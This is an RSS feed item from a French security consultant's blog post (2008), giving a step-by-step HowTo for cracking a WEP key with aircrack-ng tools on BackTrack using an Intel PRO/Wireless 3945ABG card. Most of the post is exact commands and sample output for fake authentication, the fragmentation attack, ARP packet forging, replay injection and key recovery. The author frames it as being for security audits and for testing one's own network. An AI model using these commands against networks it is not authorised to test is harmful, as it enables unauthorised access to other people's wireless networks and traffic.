<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Le blog de John Jean &#187; clé</title>
	<atom:link href="http://www.john-jean.com/blog/tag/cle/feed" rel="self" type="application/rss+xml" />
	<link>http://www.john-jean.com/blog</link>
	<description>L&#039;actualité d&#039;un consultant en sécurité informatique</description>
	<lastBuildDate>Tue, 29 Nov 2011 14:42:48 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Cracker une clé WEP avec une carte Intel Corporation PRO/Wireless 3945ABG</title>
		<link>http://www.john-jean.com/blog/securite-informatique/comment-cracker-une-cle-wep-avec-une-carte-intel-corporation-prowireless-3945abg-37</link>
		<comments>http://www.john-jean.com/blog/securite-informatique/comment-cracker-une-cle-wep-avec-une-carte-intel-corporation-prowireless-3945abg-37#comments</comments>
		<pubDate>Sun, 21 Dec 2008 19:18:01 +0000</pubDate>
		<dc:creator>John JEAN</dc:creator>
				<category><![CDATA[Sécu]]></category>
		<category><![CDATA[aircrack]]></category>
		<category><![CDATA[aireplay]]></category>
		<category><![CDATA[airmon]]></category>
		<category><![CDATA[airodump]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[clé]]></category>
		<category><![CDATA[cracker]]></category>
		<category><![CDATA[faille]]></category>
		<category><![CDATA[Informatique]]></category>
		<category><![CDATA[wep]]></category>

		<guid isPermaLink="false">http://www.john-jean.com/blog/?p=37</guid>
		<description><![CDATA[Pour les audits de sécurité informatique, je suis souvent amené à cracker des clés WEP. La distribution communément utilisée pour cela est BackTrack. Tout d&#8217;abord parce que c&#8217;est un LiveCD, mais également parce que les softs nécessaires à l&#8217;audit WiFi sont déjà compilés. Mon nouveau laptop dispose d&#8217;une carte Wifi Intel Corporation PRO/Wireless 3945ABG. J&#8217;ai ...]]></description>
			<content:encoded><![CDATA[<p>Pour les <a title="audit securite" href="http://www.wargan.com" target="_blank">audits de sécurité informatique</a>, je suis souvent amené à cracker des clés WEP. La distribution communément utilisée pour cela est <a href="http://www.remote-exploit.org/backtrack.html" target="_blank">BackTrack</a>. Tout d&#8217;abord parce que c&#8217;est un LiveCD, mais également parce que les softs nécessaires à l&#8217;audit WiFi sont déjà compilés. Mon nouveau laptop dispose d&#8217;une carte Wifi Intel Corporation PRO/Wireless 3945ABG. J&#8217;ai googlé pour voir si un endroit recensait les méthodes d&#8217;attaques avec cette carte, et je n&#8217;ai pas trouvé de résultat pertinent. J&#8217;ai donc entrepris de rédiger un HowTo afin que cela puisse servir aux personnes moins expertes, en tout cas moins patientes et qui entreprendraient de tester la sécurité de leur réseau.</p>
<p><span id="more-37"></span>Il y a deux méthodes pour analyser les données: soit l&#8217;on se contente de sniffer passivement, soit on utilise une attaque par framentation qui permet d&#8217;injecter des packets et donc de réduire considérablement le temps de sniffing. A noter que <a href="http://www.remote-exploit.org/backtrack.html" target="_blank">BackTrack 3</a> optimise assez largement les algos pour cracker, il n&#8217;est plus nécessaire d&#8217;avoir beaucoup d&#8217;IVs pour décrypter une clé WEP.</p>
<p>Après avoir booté sur le LiveCD, voici comment cela se présente:</p>
<p>// Tout d&#8217;abord on charge le driver pour la fameuse carte<br />
<span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">bt ~ # modprobe -r iwl3945<br />
bt ~ # modprobe ipwraw</span></span></p>
<p><span style="font-size: small;">/</span>/ On la passe en mode monitor<br />
<span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # airmon-ng start wifi0</span></span></p>
<p>// On va dans un premier temps rechercher les réseaux wifi actifs et ceux qui ont le plus de DATA qui transitent ainsi que la meilleur couverture. Les data correspondent aux IVs nécessaires à crackerla clé WEP.<br />
<span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # airodump-ng wifi0</span></span></p>
<p>// Le but est de prendre celle qui a le plus de beacons, et lorsque l&#8217;on choisit celle-ci, on repère bien le channel, le BSSID et l&#8217;ESSID. Dans mon cas, supposons:<br />
<span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">Channel: 11<br />
BSSID: 00:01:02:03:04:05<br />
ESSID: RESEAU-CRYPT</span></span></p>
<p>A partir d&#8217;ici on a grosso-modo les deux solutions en question, sniffer passivement, où bien injecter les fameuses données pour accélérer le processus. Si vous voyez d&#8217;emblé beaucoup de donnée transiter, sniffer + cracking peut potentiellement suffire.</p>
<p>// Je manque de patience, je vais réaliser une attaque par fragmentation pour injecter de nombreuses données. Tout d&#8217;abord, je vais m&#8217;auth sur le système distant (-e représente le SSID de la cible, -h représente l&#8217;adresse Mac source, généralement, nous):<br />
<span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # aireplay-ng -1 0 -e RESEAU-CRYPT -h 05:04:03:02:01:00 wifi0</span></span></p>
<p>Généralement cette commande doit vous retourner:<br />
<span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: small;">b<span style="font-size: x-small;">t ~ # aireplay-ng -1 0 -e RESEAU-CRYPT -h 05:04:03:02:01:00 wifi0<br />
11:56:39  Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 11<br />
Found BSSID &laquo;&nbsp;00:01:02:03:04:05&#8243; to given ESSID &laquo;&nbsp;RESEAU-CRYPT&nbsp;&raquo;.</span></span></span></p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">11:56:39  Sending Authentication Request (Open System) [ACK]<br />
11:56:39  Authentication successful<br />
11:56:39  Sending Association Request [ACK]<br />
11:56:39  Association successful (AID: 1)</span></span></p>
<p>Cependant il arrive parfois que vous obteniez une erreur de ce type (si vous avez laissé le scan tourner par exemple).</p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # aireplay-ng -1 0 -e RESEAU-CRYPT -h 05:04:03:02:01:00 wifi0<br />
11:55:23  Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 12<br />
Found BSSID &laquo;&nbsp;00:01:02:03:04:05&#8243; to given ESSID &laquo;&nbsp;RESEAU-CRYPT&nbsp;&raquo;.<br />
11:55:23  wifi0 is on channel 12, but the AP uses channel 11</span></span></p>
<p>Comment résolvons-nous cela ? Simplement en faisant la bascule sur la bonne interface:</p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # airmon-ng start wifi0 11<br />
wifi0           Centrino a/b/g  ipwraw-ng (monitor mode enabled)</span></span></p>
<p>//Bien, après cet aparté, revenons à nos moutons. Vous en êtes normalement au 11:56:39  Association successful (AID: 1).  Nous allons désormais générer une keystream valide afin de forger notre packet d&#8217;injection:</p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">bt ~ # aireplay-ng -5 -e RESEAU-CRYPT wifi0<br />
No source MAC (-h) specified. Using the device MAC (05:04:03:02:01:00)<br />
11:57:55  Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 11<br />
Found BSSID &laquo;&nbsp;00:01:02:03:04:05&#8243; to given ESSID &laquo;&nbsp;RESEAU-CRYPT&nbsp;&raquo;.<br />
11:57:55  Waiting for a data packet&#8230;<br />
Read 2791 packets&#8230;</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">Size: 371, FromDS: 0, ToDS: 1 (WEP)</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">BSSID  =  00:01:02:03:04:05<br />
Dest. MAC  =  FF:FF:FF:FF:FF:FF<br />
Source MAC  =  BLABLA</span></span></p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">0&#215;0000:  0841 3a01 0016 3810 7484 0013 ce8a 8259  .A:&#8230;8.t&#8230;&#8230;Y<br />
0&#215;0010:  ffff ffff ffff 1000 0100 0000 2f23 a566  &#8230;&#8230;&#8230;&#8230;/#.f<br />
0&#215;0020:  8a89 e333 2c18 02c2 0c65 fc79 7eb9 7398  &#8230;3,&#8230;.e.y~.s.<br />
0&#215;0030:  42fc a81c e682 179c ac10 f1a3 d83e 3770  B&#8230;&#8230;&#8230;&#8230;&gt;7p<br />
0&#215;0040:  a3ff cb34 62e0 e232 3e17 8340 544b ee1d  &#8230;4b..2&gt;..@TK..<br />
0&#215;0050:  f06c a543 3b51 05d6 bdb0 a10a a159 4fbd  .l.C;Q&#8230;&#8230;.YO.<br />
0&#215;0060:  2499 1efc 58b3 1cfc bc72 b109 a9ee 29b6  $&#8230;X&#8230;.r&#8230;.).<br />
0&#215;0070:  6234 b6d8 4b90 a3b0 a1ac f626 5603 82d9  b4..K&#8230;&#8230;&amp;V&#8230;<br />
0&#215;0080:  5d0e 27a1 453a f536 86b5 ee7c f73f 9bc1  ].&#8217;.E:.6&#8230;|.?..<br />
0&#215;0090:  2813 b8e4 a24c 3bce dc98 2be2 6a79 c313  (&#8230;.L;&#8230;+.jy..<br />
0x00a0:  f530 7596 4430 958d 2406 de88 7664 481f  .0u.D0..$&#8230;vdH.<br />
0x00b0:  7cf2 c2ac 8211 a26f c217 1fd1 d30f 1949  |&#8230;&#8230;o&#8230;&#8230;.I<br />
0x00c0:  b12e 6507 cab2 6619 d6d8 9a1c a018 720c  ..e&#8230;f&#8230;&#8230;.r.<br />
0x00d0:  e004 2c4f 533b 1326 0c57 0006 2950 e468  ..,OS;.&amp;.W..)P.h<br />
&#8212; CUT &#8212;</span></span></p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">Use this packet ? y</span></span></p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">Saving chosen packet in replay_src-0726-115911.cap<br />
11:59:20  Data packet found!<br />
11:59:20  Sending fragmented packet<br />
11:59:20  Got RELAYED packet!!<br />
11:59:20  Trying to get 384 bytes of a keystream<br />
11:59:20  Got RELAYED packet!!<br />
11:59:20  Trying to get 1500 bytes of a keystream<br />
11:59:20  Got RELAYED packet!!<br />
Saving keystream in fragment-0726-115920.xor<br />
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream</span></span></p>
<p>//Maintenant que nous avons notre keystream, on change de soft le temps de générer le packet d&#8217;injection. Packetforge-ng est là pour ca.<br />
//arp définit le type d&#8217;attaque<br />
//-y passe le fragment à utiliser généré par airplay<br />
//-a adresse MAC de la cible (BSSID)<br />
//-h adresse MAC de l&#8217;attaquant<br />
//-k notre adresse ip suppossée<br />
//-l adresse ip supposée du routeur<br />
//-w permet d&#8217;écrire le packet d&#8217;injection final<br />
<span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">bt ~ # </span></span><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">packetforge-ng  &#8211;arp -y fragment-0726-115920.xor -a 00:01:02:03:04:05 -h 05:04:03:02:01:00 -k 192.168.1.100 -l 192.168.1.1 -w audit.cap<br />
Wrote packet  to: alice.cap</span></span></p>
<p>//Essayons maintenant d&#8217;injecter des données histoire de voir si tout a fonctionné:</p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # aireplay-ng -3 -e RESEAU-CRYPT -h 05:04:03:02:01:00 -r audit.cap wifi0<br />
12:04:07  Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 11<br />
Found BSSID &laquo;&nbsp;00:01:02:03:04:05&#8243; to given ESSID &laquo;&nbsp;RESEAU-CRYPT&nbsp;&raquo;.<br />
Saving ARP requests in replay_arp-0726-120407.cap<br />
You should also start airodump-ng to capture replies.<br />
Read 5394 packets (got 2051 ARP requests and 3234 ACKs), sent 2652 packets&#8230;(500 pps)</span></span></p>
<p>Bien, tout fonctionne, à partir de maintenant, cracker la clé wep ne prendra pas plus de trois minutes.  Il faut parfois se ré-authentifier avant de lancer l&#8217;injection de donnée. Vous pouvez stopper l&#8217;injection tout marche. Pour cracker définitivement la clé, cela se passe en trois temps:</p>
<p>// On sniffe l&#8217;interface sur laquelle nous avons travaillé:<br />
<span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # airodump-ng -w capture &#8211;channel 11 wifi0</span></span></p>
<p>// Les datas ne bougent alors pas beaucoup. On injecte donc les données:<br />
<span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # aireplay-ng -3 -e RESEAU-CRYPT -h 05:04:03:02:01:00 -r audit.cap wifi0</span></span></p>
<p>//Enfin, on lance, en parallèle à l&#8217;envoi de donnée, le crack du fichier dans lequel on écrit la capture. Ce n&#8217;est pas grave si lorsque vous lancez le crack il n&#8217;y a pas encore assez d&#8217;IVs, il est reloadé régulièrement.</p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # aircrack-ng capture-01.cap<br />
Opening capture-01.cap<br />
Read 121863 packets.</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">#  BSSID              ESSID                     Encryption</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">1  RESEAU-CRYPT2                   No data &#8211; WEP or WPA<br />
2  RESEAU-CRYPT3                   No data &#8211; WEP or WPA<br />
3  00:01:02:03:04:05               RESEAU-CRYPT              WEP (33689 IVs)<br />
4  RESEAU-CRYPT4                   No data &#8211; WEP or WPA<br />
5  RESEAU-CRYPT5                   None (0.0.0.0)<br />
6  RESEAU-CRYPT6                   No data &#8211; WEP or WPA<br />
7  RESEAU-CRYPT7                   No data &#8211; WEP or WPA</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">Index number of target network ? 3</span></span></p>
<p>// On selectionne le ESSID sur lequel on a travaillé, et là magie:</p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">bt ~ # </span></span><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">Aircrack-ng 1.0 rc1 r1085</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">[00:00:03] Tested 1339440 keys (got 33677 IVs)</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">KB    depth   byte(vote)<br />
0    1/  2   2C(40192) 5E(39424) A0(39424) A4(39424) DA(39168) 28(38912) 33(38912)<br />
1    0/  1   A6(47616) 30(41472) 15(40960) BF(40960) 35(40448) 42(40192) DE(39936)<br />
2    0/  1   FA(48640) DE(41216) 11(40192) B8(39936) 29(39680) 3F(39168) 68(39168)<br />
3    0/  1   BA(50432) 68(41216) 62(40704) EA(39936) ED(39936) BB(39680) 13(39424)<br />
4    0/  2   3E(44288) 9F(43264) 14(42752) 89(41216) A2(40960) 3E(40192) 7E(39680)<br />
5    0/  1   A0(46080) 6B(43264) 07(41472) 5F(41472) 0F(41216) DB(41216) EF(40448)<br />
6    1/  2   16(41984) 79(40448) 8E(40448) F1(39936) F2(39936) 66(39680) AB(39680)<br />
7    0/  2   7A(44032) 46(43264) 97(41984) 77(41216) 5A(39936) E0(39936) 18(39680)<br />
8    0/  1   75(45056) 75(42752) 67(41472) 34(40960) 08(40448) 87(40448) 15(40192)<br />
9    0/  1   F3(46336) 26(41216) E8(41216) 74(40960) C9(40448) CD(40448) 2B(39936)<br />
10   17/ 10   E7(38400) 10(38144) 27(38144) 7A(38144) A8(38144) B1(38144) 4C(37888)<br />
11    0/  2   AB(46080) DD(45056) 98(41472) DC(41216) 26(40960) 3D(40960) 1A(40704)<br />
12    0/  1   A8(46080) 9A(41728) C7(41216) 00(39680) 1A(39168) 62(39168) CD(39168)</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">KEY FOUND! [blabla]<br />
Decrypted correctly: 100%</span></span></p>
<p>Si les suites air* ne vous sont pas familières, je vous conseille d&#8217;aller vous balader par ici:<br />
<a href="http://linux.die.net/man/1/airmon-ng" target="_blank">http://linux.die.net/man/1/airmon-ng</a><br />
<a href="http://linux.die.net/man/1/airodump-ng" target="_blank">http://linux.die.net/man/1/airodump-ng</a><br />
<a href="http://linux.die.net/man/1/aireplay-ng" target="_blank">http://linux.die.net/man/1/aireplay-ng</a><br />
<a href="http://linux.die.net/man/1/packetforge-ng" target="_blank">http://linux.die.net/man/1/packetforge-ng</a><br />
<a href="http://linux.die.net/man/1/aircrack-ng" target="_blank">http://linux.die.net/man/1/aircrack-ng</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-jean.com/blog/securite-informatique/comment-cracker-une-cle-wep-avec-une-carte-intel-corporation-prowireless-3945abg-37/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
	</channel>
</rss>

